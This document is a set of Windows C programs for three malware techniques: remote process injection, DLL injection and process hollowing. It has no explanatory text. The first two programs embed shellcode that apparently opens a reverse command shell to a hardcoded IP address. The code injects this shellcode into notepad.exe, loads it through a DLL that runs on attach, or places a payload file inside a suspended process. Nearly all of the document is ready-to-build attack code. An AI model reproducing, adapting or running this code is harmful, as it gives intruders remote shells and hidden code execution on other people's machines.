Remote Process Injection

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <tlhelp32.h>

unsigned char payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x22\x3d\xc0\xa8\x12\x1b"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int payload_size = sizeof(payload);

int FindTarget(const char* procname){
    
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;
    
    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(INVALID_HANDLE_VALUE == hProcSnap){return 0;}
    
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    if(!Process32First(hProcSnap, &pe32)){
        
        CloseHandle(hProcSnap);
        return 0;
    }
    
    while(Process32Next(hProcSnap, &pe32)){
        
        if(lstrcmpiA(procname, pe32.szExeFile) == 0){
            
            pid = pe32.th32ProcessID;
            break;
        }
        
    }
    
    CloseHandle(hProcSnap);
    return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len){
    
    LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
    
    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL );
    
    hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL );
    if(hThread != NULL){
        
        WaitForSingleObject(hThread, -1);
        CloseHandle(hThread);
        return 0;
    }
    
    return -1;
}



int main(void){
    
    int pid = 0;
    HANDLE hProc = NULL;
    
    pid = FindTarget("Notepad.exe");
    
    if(pid){
        
        printf("Notepad.exe PID = %d\n", pid);
        
        // try to open target process
        
        hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
        if (hProc != NULL){
            getchar();
            Inject(hProc, payload, payload_size);
            CloseHandle(hProc);
        }
    }
    
    return 0;
}

DLL   Injection

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] =

"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x21\xe6\xc0\xa8\x12\x1b"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int payload_len = sizeof(payload);


extern __declspec(dllexport) int Go(void);
int Go(void) {
    
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(exec_mem, payload, payload_len);
    
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, 0);
    }
    return 0;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

    switch ( fdwReason ) {
            case DLL_PROCESS_ATTACH:
                    Go();
                    break;
            case DLL_THREAD_ATTACH:
                    break;
            case DLL_THREAD_DETACH:
                    break;
            case DLL_PROCESS_DETACH:
                    break;
            }
    return TRUE;
}

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int main(int argc, char *argv[]) {
    
    HANDLE pHandle;
    PVOID remBuf;
    PTHREAD_START_ROUTINE pLoadLibrary = NULL;
    char dll[] = "C:\\Users\\User\\Documents\\testdll\\path.dll";
    char target[] = "notepad.exe";
    int pid = 0;
    
    
    pid = FindTarget(target);
    if ( pid == 0) {
        printf("Target NOT FOUND! Exiting.\n");
        return -1;
    }

    printf("Target PID: [ %d ]\nInjecting...", pid);

    pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

    pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

    if (pHandle != NULL) {
        remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE); 
    
        WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

        CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
        printf("done!\nremBuf addr = %p\n", remBuf);

        CloseHandle(pHandle); 
    }
    else {
        printf("OpenProcess failed! Exiting.\n");
        return -2;
    }
}

Process Hollowing

#include <windows.h>
#include <stdio.h>


int main(int argc, char *argv[])
{
    printf("Reminder: This will only work with .bin files or raw payload\n");

    if (argc < 3)
    {

        printf("Usage:%s <Genuine_Process> <Payload BIN File>\n", argv[0]);
        return 1;
    }

    void *exec;

    FILE *file = fopen(argv[2], "rb");

    fseek(file, 0, SEEK_END);
    long MalSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    byte *buffer = (byte *)malloc(MalSize);

    fread(buffer, 1, MalSize, file);
    fclose(file);

    STARTUPINFOA si = {
        sizeof(si)
    };

    PROCESS_INFORMATION pi;

    if (!CreateProcessA(argv[1], NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {

        printf("[-] Error Creating Process\n");

        return 1;
    }

    printf("[+] Process Created\n");

    exec = VirtualAllocEx(pi.hProcess, NULL, MalSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec == NULL)
    {

        printf("[-] Error Allocating Memory\n");

        return 1;
    }

    printf("[+] Memory Allocated\n");

    if (!WriteProcessMemory(pi.hProcess, exec, buffer, MalSize, NULL))
    {

        printf("[-] Error Writing Memory\n");

        return 1;
    }

    printf("[+] Payload written to Memory\n"); 

    CONTEXT CT;
    CT.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(pi.hThread, &CT))
    {
        printf("[-] Error Getting Thread Context\n");

        return 1;
    }

    printf("[+] Retrived the Context of the Thread\n");

    CT.Rip = (DWORD64)exec;

    if (!SetThreadContext(pi.hThread, &CT))
    {
        printf("[-] Error Setting Thread Context\n");

        return 1;
    }

    printf("[+] Setting the Payload to the Instruction Pointer\n");

    Sleep(18);

    ResumeThread(pi.hThread);

    printf("[+] Process Hollowing Successful\n");

    free(buffer);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}